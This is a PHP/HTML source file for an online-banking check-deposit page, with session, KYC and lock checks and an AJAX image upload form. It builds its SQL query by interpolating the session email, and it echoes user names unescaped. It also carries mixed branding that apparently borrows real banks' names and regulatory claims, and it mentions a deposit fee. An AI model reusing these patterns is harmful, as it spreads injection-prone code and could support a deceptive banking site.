<?php
    session_start();
    if( !isset($_SESSION['chap']) ){
        header("Location:../index.html#login-area");
        exit();
    }
    else{
        $chap = $_SESSION['chap'];
        include "../connect/db.php";
        $sql = mysqli_query($mysqli,"SELECT * FROM users WHERE email = '$chap' ");
        $row = mysqli_fetch_assoc($sql);
        if( $row['status'] == "suspended" ){
            header("Location:account.php");
            exit();
        }
        else if( $row['status'] == "terminated" ){
            header("Location:terminate.php");
            exit();
        }
    }




       if($row['kyc_status'] == "pending" || $row['kyc_status'] == "review" )


{
   header("Location:kyc.php");
   exit();


}
    if($row['code_level'] != "nothing"){

if($row['lock_status'] == "active" )


{
   header("Location:auth.php");
   exit();


}
else{

}



}
else{
    
}
    



?>
<!DOCTYPE html>
<html lang="en-US" class="js">

<head>
    <meta charset="utf-8">
    <meta name="author" content="Smart">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description"
        content="Aspire Securities is a trademark of Aspire Financial Corporation. Aspire Securities is a trade name for the corporate and investment banking services of Aspire Financial Corporation and its subsidiaries. All rights reserved. Securities and strategic advisory services are provided by Aspire Securities, Inc., member FINRA, link opens in new tab and SIPC, link opens in new tab. Lending, financial risk management, and treasury management and payment services are offered by Aspire Bank. Deposit products are offered by Aspire Bank.">
    <!-- Fav Icon  -->
    <link rel="shortcut icon" href="../images/favicon.png">
    <!-- Page Title  -->
    <title><?=$row['firstname']?> <?=$row['middlename']?> <?=$row['lastname']?> | <?= htmlspecialchars(getSetting('site_name', 'Deutsche Bank Holdings Delaware')) ?> Online banking</title>
    <!-- StyleSheets  -->
    <link rel="stylesheet" href="../scss/sweetalert.css">
    <link rel="stylesheet" href="assets/css/dashlite.css?ver=2.4.0">
    <link id="skin-default" rel="stylesheet" href="assets/css/theme.css?ver=2.4.0">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.2/css/all.min.css">

    <link href="../css/toastr.css" rel="stylesheet" />
</head>
<link rel="stylesheet"
    href="https://www.jqueryscript.net/demo/jQuery-International-Telephone-Input-With-Flags-Dial-Codes/build/css/intlTelInput.css">
<script type="text/javascript">
    function googleTranslateElementInit() {
        new google.translate.TranslateElement({ pageLanguage: 'en', layout: google.translate.TranslateElement.InlineLayout.SIMPLE }, 'google_translate_element');
    }
</script>
<script type="text/javascript"
    src="https://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit"></script>
<style>
    .goog-te-gadget-simple {
        border: none;
    }

    .goog-te-gadget-simple a {
        color: #000;
    }
</style>
<style type="text/css">
    .btn-primary {
        background-color: #033d75;
    }

    .btn-secondary {
        background-color: #d13636;
    }

    .btn-secondary:hover {
        opacity: 0.6;
    }

    .btn-primary:hover {
        opacity: 0.6;
    }
</style>

<body class="nk-body npc-crypto bg-white has-sidebar ">
    <div class="nk-app-root">
        <!-- main @s -->
        <div class="nk-main ">
            <!-- sidebar @s -->
            <div class="nk-sidebar nk-sidebar-fixed " data-content="sidebarMenu">
                <div class="nk-sidebar-element nk-sidebar-head" style="border-bottom: solid #fe473a;">
                    <div class="nk-sidebar-brand">
                        <a href="dashboard" class="logo-link nk-sidebar-logo">
                            <img class="logo-light logo-img" src="../logo.png" srcset="../logo.png 2x" alt="logo">
                            <img class="logo-dark logo-img" src="../logo.png" srcset="../logo.png 2x" alt="logo-dark">

                        </a>
                    </div>
                    <div class="nk-menu-trigger mr-n2">
                        <a href="#" class="nk-nav-toggle nk-quick-nav-icon d-xl-none" data-target="sidebarMenu"><em
                                class="icon ni ni-arrow-left"></em></a>
                    </div>
                </div><!-- .nk-sidebar-element -->
          <?php include 'includes/sidebar.php';?>
                <!-- main header @e -->
                <div class="nk-content nk-content-fluid">
                    <div class="container-xl wide-lg">
                        <div class="nk-content-body">
                            <div class="nk-block-head">
                                <div class="nk-block-head-sub">
                                </div>
                                <div class="nk-block-between-md g-4 card-bordered">
                                    <div class="nk-block-head-content">
                                        <h4 class="nk-block-title fw-normal">Internet Banking Check Deposit.</h4>
                                        <div class="nk-block-des">
                                            <p>you can deposit checks by snapping pictures of the front and back of the
                                                check.</p>
                                        </div>
                                    </div><!-- .nk-block-head-content -->
                                    <div class="nk-block-head-content">
                                        <ul class="nk-block-tools gx-3">
                                            <li><a href="transfer"
                                                    class="btn btn-secondary btn-light text-light"><span>Transfer
                                                        Fund</span><em class="icon ni ni-wallet-out"></em></a></li>
                                        </ul>

                                    </div><!-- .nk-block-head-content -->
                                </div><!-- .nk-block-between -->
                            </div><!-- .nk-block-head -->
                        </div>
                    </div>
                    <div class="card card-bordered">
                        <div class="card-header font-weight-bold text-light" style="background-color:#033d75;">Deposit a
                            check</div>
                        <div class="card-inner">
                            <h5 class="card-title">Check Deposit tips</h5>
                            <p class="card-text"><em class="icon ni ni-alert-circle text-danger"
                                    style="font-size: 18px; font-weight: 600;"></em> Choose the account to deposit the
                                check and the check amount.</p>
                            <p class="card-text"><em class="icon ni ni-alert-circle text-danger"
                                    style="font-size: 18px; font-weight: 600;"></em> Ensure the check has been properly
                                endorsed and that it is flat, on a dark, well-lit surface. Then snap pictures of both
                                the front and back of the check, keeping it in the correct parameters. Don’t forget to
                                endorse and write ‘for mobile deposit only’ on the back.
                            </p>
                            <p class="card-text"><em class="icon ni ni-alert-circle text-danger"
                                    style="font-size: 18px; font-weight: 600;"></em> Submit your check for deposit!
                                We’ll send you an email confirmation that we’ve received your deposit and an email
                                confirmation once it is accepted. Be sure to hold on to your check until you receive
                                this confirmation, once received, destroy the check!
                            </p>
                            <hr>



















                         <form  id="form" class="buysell-form" >
                                <div class="buysell-field form-group">
                                    <div class="form-label-group">
                                        <label class="form-label">Select Account</label>
                                    </div>
                                    <div class="dropdown buysell-cc-dropdown"> <a href="#"
                                            class="buysell-cc-choosen dropdown-indicator" data-toggle="dropdown">
                                            <div class="coin-item coin-btc">
                                                <div class="coin-icon">
                                                    <em class="icon ni ni-wallet"></em>
                                                </div>
                                                <div class="coin-info">
                                                    <span class="coin-name">Checking Account (<?=currencySymbol($row['usercurrency'])?>)</span>
                                                    <span class="coin-text">Available Balance: <?=formatCurrency($row['checking_balance'], $row['usercurrency'])?></span>
                                                </div>
                                            </div>
                                        </a>
                                        <div class="dropdown-menu dropdown-menu-auto dropdown-menu-mxh">
                                            <ul class="buysell-cc-list">
                                                <li class="buysell-cc-item selected">
                                                    <a href="#" class="buysell-cc-opt" data-currency="btc">
                                                        <div class="coin-item coin-btc">
                                                            <div class="coin-icon">
                                                                <em class="icon ni ni-wallet"></em>
                                                            </div>
                                                            <div class="coin-info">
                                                                <span class="coin-name">Checking Account (<?=currencySymbol($row['usercurrency'])?>)</span>
                                                                <span class="coin-text">Available Balance: <?=formatCurrency($row['checking_balance'], $row['usercurrency'])?>
                                                                </span>
                                                            </div>
                                                        </div>
                                                    </a>
                                                </li>
                                            </ul>
                                        </div><!-- .dropdown-menu -->
                                    </div><!-- .dropdown -->
                                </div><!-- .buysell-field -->
                                <div class="buysell-field form-group">
                                    <div class="result"></div>
                                    <div class="form-label-group"> <label class="form-label" for="buysell-amount">Check
                                            Amount</label> </div>
                                    <div class="form-control-group">
                                        <input type="number" class="form-control form-control-lg form-control-number"
                                            id="amount2" name="amount2" placeholder="2000">
                                        <div class="form-dropdown">
                                            <div class="text"><?=currencySymbol($row['usercurrency'])?><span></span></div>
                                        </div>
                                    </div>
                                    <div class="form-note-group"> <span class="buysell-min form-note-alt"></span> <span
                                            class="buysell-rate form-note-alt">You can deposit upto <?=currencySymbol($row['usercurrency'])?> for each federal
                                            check</span> </div>
                                </div>
                                <!-- .buysell-field -->
                                <div class="buysell-field form-group row">
                                    <div class="form-group col-md-6">
                                        <label class="form-label" for="customFileLabel">Front of the check</label>
                                        <div class="col-md-12 p-0">
                                            <img class="img-responsive" id="output_imageB" src="../img/size.jpg"
                                                style="width:100%; height:130px">
                                        </div>
                                        <p class="clear-fix"></p>
                                        <div class="form-control-wrap">
                                            <div class="custom-file">
                                                <input type="file" name="profile-pic" class="custom-file-input"
                                                    id="profile-pic" accept="image/*" onchange="preview_imageB(event)">
                                                <label class="custom-file-label" for="customFile">Choose file</label>
                                            </div>
                                        </div>
                                    </div>
                                    <div class="form-group col-md-6">
                                        <label class="form-label" for="customFileLabel">Back of the check</label>
                                        <div class="col-md-12 p-0">
                                            <img class="img-responsive" id="output_image" src="../img/size.jpg"
                                                style="width:100%; height:130px">
                                        </div>
                                        <p class="clear-fix"></p>
                                        <div class="form-control-wrap">
                                            <div class="custom-file">
                                                <input type="file" class="custom-file-input" name="profile-pic2" id="profile-pic2"
                                                    accept="image/*" onchange="preview_image(event)">
                                                <label class="custom-file-label" for="customFile">Choose file</label>
                                            </div>
                                        </div>
                                    </div>
                                    <script type='text/javascript'>
                                        function preview_image(event) {
                                            var reader = new FileReader();
                                            reader.onload = function () {
                                                var output = document.getElementById('output_image');
                                                output.src = reader.result;
                                            }
                                            reader.readAsDataURL(event.target.files[0]);
                                        }
                                        function preview_imageB(event) {
                                            var reader = new FileReader();
                                            reader.onload = function () {
                                                var output = document.getElementById('output_imageB');
                                                output.src = reader.result;
                                            }
                                            reader.readAsDataURL(event.target.files[0]);
                                        }
                                    </script>

                                </div>
                                <!-- .buysell-field -->
                                <div class="buysell-field form-action">
                                    <span onclick="sbtproceed()" name="check"
                                        class="btn btn-lg btn-block btn-primary dep">Submit check</span>
                                </div>
                                <!-- .buysell-field -->
                                <div class="form-note text-base text-center">Note: our Flash fund fee will be debucted
                                    from your account following the completion of this deposit.</div>
                            </form>







<script>
/*--------------------------
Simplified sweetaalert
---------------------------- */
function toastAlert(bool1,pos,bool2,time,kind,msg){

const Toast = Swal.mixin({
  toast: bool1,
  position: pos,
  showConfirmButton: bool2,
  timer: time
});

Toast.fire({
  type: kind,
  title: msg
});
}


                                    function sbtproceed(){

                                        let profile_pic = $("#profile-pic").val();
                                        let profile_pic2 = $("#profile-pic2").val();

                                        let amount2 = $("#amount2").val();
     if( profile_pic == "" || profile_pic == null ){ toastAlert(true,"center",false,3000,"info","Please Upload the front of the check"); return; }
     if( profile_pic2 == "" || profile_pic2 == null ){ toastAlert(true,"center",false,3000,"info","Please Upload the back of the check"); return; }

                                        if( amount2 == "" || amount2 == null ){ toastAlert(true,"top-end",false,3000,"info","Please input the amount on the check"); return; }


   let form = $('#form')[0]; // You need to use standard javascript object here
    let formData = new FormData(form);

    $.ajax({
        url: '../apps/user/checkupload.php',
        data: formData,
        type: 'POST',
        contentType: false, 
        processData: false,
        success : function(data){
          let info = data.trim();
          if( info == "success" ){
  Swal.fire({
          icon: 'success',
          title: 'Deposited',
          text: 'Successfully deposited your check,we would contact you once its verified',
          showConfirmButton: true
        });
            setTimeout(function(){ window.location="summary.php"} , 3200);
          }
          else if( info == "File is not an image." ){
            toastAlert(true,"top-end",false,3000,"info","File is not an image."); 
            return;
          }
          else if( info == "Sorry, your file is too large." ){
            toastAlert(true,"top-end",false,3000,"info","Sorry, your file is too large."); 
            return;
          }
          else if( info == "Not allowed" ){
            toastAlert(true,"top-end",false,3000,"info","This file not allowed"); 
            return;
          }
          else if( info == "email error" ){
            toastAlert(true,"top-end",false,3000,"info","This Email Already Exist"); 
            return;
          }
          else if( info == "Signup error" ){
            toastAlert(true,"top-end",false,3000,"error","Sorry you cannot register this account"); 
            return;
          }
          else if( info == "Sorry, your file was not uploaded." ){
            toastAlert(true,"top-end",false,3000,"info","Registration Failed, Please Try Again"); 
            return;
          }
          else{
            console.log(info);
          }                              
        }
    });


                                    }
                                </script>





                            <!-- .buysell-form -->
                        </div>
                    </div>
                    <script src="assets/js/jquery.min.js"></script>
                    <div class="nk-footer nk-footer-fluid">
                        <div class="container-fluid">
                            <div class="nk-footer-wrap">
                                <div class="nk-footer-copyright"> &copy; <?php
echo date("Y");
?>  <?= htmlspecialchars(getSetting('site_name', 'Deutsche Bank Holdings Delaware')) ?>   <a href="#">All rights
                                        reserved.</a>
                                </div>
                                <div class="nk-footer-links">
                                    <ul class="nav nav-sm">
                                        <li class="nav-item"><a class="nav-link" href="#">Terms</a></li>
                                        <li class="nav-item"><a class="nav-link" href="privacy">Privacy</a></li>
                                        <li class="nav-item"><a class="nav-link" href="contact">Help</a></li>
                                    </ul>
                                </div>
                            </div>
                        </div>
                    </div>
                    <!-- footer @e -->
                </div>
                <!-- wrap @e -->
            </div>
            <!-- main @e -->
        </div>
        <!-- app-root @e -->
        <!-- JavaScript -->
        <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
        <script src="../js/country.js"></script>
        <script src="assets/js/bundle.js?ver=2.4.0"></script>
        <script src="assets/js/scripts.js?ver=2.4.0"></script>
        <script src="assets/js/charts/chart-crypto.js?ver=2.4.0"></script>
        <script src="../js/sweetalert.js"></script>
        <script src="assets/js/jquery.min.js"></script>
        <script src="assets/js/custom.js"></script>
        <script src="../js/toastr.js"></script>

</body>

</html>